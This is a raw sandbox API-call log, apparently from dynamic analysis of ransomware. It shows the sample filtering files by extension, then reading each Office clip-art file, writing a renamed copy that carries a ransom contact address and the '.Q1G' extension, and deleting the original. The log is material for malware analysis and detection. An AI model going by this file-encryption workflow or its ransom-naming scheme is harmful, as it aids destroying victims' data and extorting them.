lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.027] lstrlenW (lpString=".docx") returned 5 [0256.027] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0256.027] lstrlenW (lpString=".pdf") returned 4 [0256.027] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.027] lstrlenW (lpString=".xls") returned 4 [0256.027] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.027] lstrlenW (lpString=".xlsx") returned 5 [0256.027] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0256.027] lstrlenW (lpString=".ppt") returned 4 [0256.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0256.027] lstrlenW (lpString=".zip") returned 4 [0256.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.028] lstrlenW (lpString=".rar") returned 4 [0256.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.028] lstrlenW (lpString=".bz2") returned 4 [0256.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.028] lstrlenW (lpString=".7z") returned 3 [0256.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0256.028] lstrlenW (lpString=".dbf") returned 4 [0256.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0256.028] lstrlenW (lpString=".1cd") returned 4 [0256.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0256.028] lstrlenW (lpString=".jpg") returned 4 [0256.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.028] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0256.028] lstrlenW (lpString="J0105280.WMF") returned 12 [0256.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0256.029] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=11540) returned 1 [0256.029] CloseHandle (hObject=0x3d8) returned 1 [0256.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf")) returned 0x20 [0256.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0256.033] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.033] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0256.034] GetLastError () returned 0x0 [0256.034] ReadFile (in: hFile=0x3d8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x2d14, lpOverlapped=0x0) returned 1 [0256.036] WriteFile (in: hFile=0x204, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x2d20, lpOverlapped=0x0) returned 1 [0256.037] ReadFile (in: hFile=0x3d8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.037] WriteFile (in: hFile=0x204, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.037] SetEndOfFile (hFile=0x204) returned 1 [0256.037] CloseHandle (hObject=0x204) returned 1 [0256.037] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.037] SetEndOfFile (hFile=0x3d8) returned 1 [0256.039] CloseHandle (hObject=0x3d8) returned 1 [0256.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.039] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf")) returned 1 [0256.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0256.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0256.040] lstrlenW (lpString=".doc") returned 4 [0256.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.040] lstrlenW (lpString=".docx") returned 5 [0256.040] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0256.040] lstrlenW (lpString=".pdf") returned 4 [0256.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.040] lstrlenW (lpString=".xls") returned 4 [0256.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.040] lstrlenW (lpString=".xlsx") returned 5 [0256.040] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0256.040] lstrlenW (lpString=".ppt") returned 4 [0256.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0256.040] lstrlenW (lpString=".zip") returned 4 [0256.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.040] lstrlenW (lpString=".rar") returned 4 [0256.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.040] lstrlenW (lpString=".bz2") returned 4 [0256.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.040] lstrlenW (lpString=".7z") returned 3 [0256.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0256.040] lstrlenW (lpString=".dbf") returned 4 [0256.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0256.041] lstrlenW (lpString=".1cd") returned 4 [0256.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0256.041] lstrlenW (lpString=".jpg") returned 4 [0256.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0256.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0256.041] lstrlenW (lpString=".doc") returned 4 [0256.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.041] lstrlenW (lpString=".docx") returned 5 [0256.041] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0256.041] lstrlenW (lpString=".pdf") returned 4 [0256.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.041] lstrlenW (lpString=".xls") returned 4 [0256.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.041] lstrlenW (lpString=".xlsx") returned 5 [0256.041] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0256.041] lstrlenW (lpString=".ppt") returned 4 [0256.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0256.041] lstrlenW (lpString=".zip") returned 4 [0256.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.041] lstrlenW (lpString=".rar") returned 4 [0256.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.041] lstrlenW (lpString=".bz2") returned 4 [0256.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.041] lstrlenW (lpString=".7z") returned 3 [0256.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0256.041] lstrlenW (lpString=".dbf") returned 4 [0256.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0256.041] lstrlenW (lpString=".1cd") returned 4 [0256.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0256.041] lstrlenW (lpString=".jpg") returned 4 [0256.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.042] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0256.042] lstrlenW (lpString="J0105282.WMF") returned 12 [0256.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0256.042] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=4796) returned 1 [0256.042] CloseHandle (hObject=0x3d8) returned 1 [0256.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf")) returned 0x20 [0256.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0256.043] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.043] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0256.043] GetLastError () returned 0x0 [0256.043] ReadFile (in: hFile=0x3d8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x12bc, lpOverlapped=0x0) returned 1 [0256.045] WriteFile (in: hFile=0x204, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x12c0, lpOverlapped=0x0) returned 1 [0256.046] ReadFile (in: hFile=0x3d8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.046] WriteFile (in: hFile=0x204, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.046] SetEndOfFile (hFile=0x204) returned 1 [0256.046] CloseHandle (hObject=0x204) returned 1 [0256.046] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.046] SetEndOfFile (hFile=0x3d8) returned 1 [0256.049] CloseHandle (hObject=0x3d8) returned 1 [0256.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf")) returned 1 [0256.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0256.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0256.050] lstrlenW (lpString=".doc") returned 4 [0256.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.050] lstrlenW (lpString=".docx") returned 5 [0256.050] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0256.050] lstrlenW (lpString=".pdf") returned 4 [0256.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.050] lstrlenW (lpString=".xls") returned 4 [0256.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.050] lstrlenW (lpString=".xlsx") returned 5 [0256.050] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0256.050] lstrlenW (lpString=".ppt") returned 4 [0256.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0256.050] lstrlenW (lpString=".zip") returned 4 [0256.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.050] lstrlenW (lpString=".rar") returned 4 [0256.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.050] lstrlenW (lpString=".bz2") returned 4 [0256.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.050] lstrlenW (lpString=".7z") returned 3 [0256.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0256.050] lstrlenW (lpString=".dbf") returned 4 [0256.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0256.050] lstrlenW (lpString=".1cd") returned 4 [0256.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0256.050] lstrlenW (lpString=".jpg") returned 4 [0256.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0256.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0256.050] lstrlenW (lpString=".doc") returned 4 [0256.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.050] lstrlenW (lpString=".docx") returned 5 [0256.050] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0256.051] lstrlenW (lpString=".pdf") returned 4 [0256.051] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.051] lstrlenW (lpString=".xls") returned 4 [0256.051] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.051] lstrlenW (lpString=".xlsx") returned 5 [0256.051] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0256.051] lstrlenW (lpString=".ppt") returned 4 [0256.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0256.051] lstrlenW (lpString=".zip") returned 4 [0256.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.051] lstrlenW (lpString=".rar") returned 4 [0256.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.051] lstrlenW (lpString=".bz2") returned 4 [0256.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.051] lstrlenW (lpString=".7z") returned 3 [0256.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0256.051] lstrlenW (lpString=".dbf") returned 4 [0256.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0256.051] lstrlenW (lpString=".1cd") returned 4 [0256.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0256.051] lstrlenW (lpString=".jpg") returned 4 [0256.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.051] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0256.051] lstrlenW (lpString="J0105286.WMF") returned 12 [0256.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0256.052] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=6568) returned 1 [0256.052] CloseHandle (hObject=0x3d8) returned 1 [0256.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf")) returned 0x20 [0256.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0256.052] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.052] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0256.053] GetLastError () returned 0x0 [0256.053] ReadFile (in: hFile=0x3d8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x19a8, lpOverlapped=0x0) returned 1 [0256.255] WriteFile (in: hFile=0x204, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x19b0, lpOverlapped=0x0) returned 1 [0256.256] ReadFile (in: hFile=0x3d8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.256] WriteFile (in: hFile=0x204, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.257] SetEndOfFile (hFile=0x204) returned 1 [0256.257] CloseHandle (hObject=0x204) returned 1 [0256.257] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.257] SetEndOfFile (hFile=0x3d8) returned 1 [0256.259] CloseHandle (hObject=0x3d8) returned 1 [0256.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.284] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf")) returned 1 [0256.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0256.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0256.285] lstrlenW (lpString=".doc") returned 4 [0256.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.285] lstrlenW (lpString=".docx") returned 5 [0256.285] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0256.285] lstrlenW (lpString=".pdf") returned 4 [0256.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.285] lstrlenW (lpString=".xls") returned 4 [0256.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.285] lstrlenW (lpString=".xlsx") returned 5 [0256.285] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0256.285] lstrlenW (lpString=".ppt") returned 4 [0256.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0256.285] lstrlenW (lpString=".zip") returned 4 [0256.285] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.285] lstrlenW (lpString=".rar") returned 4 [0256.285] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.285] lstrlenW (lpString=".bz2") returned 4 [0256.285] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.286] lstrlenW (lpString=".7z") returned 3 [0256.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0256.286] lstrlenW (lpString=".dbf") returned 4 [0256.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0256.286] lstrlenW (lpString=".1cd") returned 4 [0256.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0256.286] lstrlenW (lpString=".jpg") returned 4 [0256.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0256.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0256.286] lstrlenW (lpString=".doc") returned 4 [0256.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.286] lstrlenW (lpString=".docx") returned 5 [0256.286] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0256.286] lstrlenW (lpString=".pdf") returned 4 [0256.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.286] lstrlenW (lpString=".xls") returned 4 [0256.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.286] lstrlenW (lpString=".xlsx") returned 5 [0256.286] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0256.286] lstrlenW (lpString=".ppt") returned 4 [0256.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0256.286] lstrlenW (lpString=".zip") returned 4 [0256.286] lstrcmpiW (lpString1=".zip", 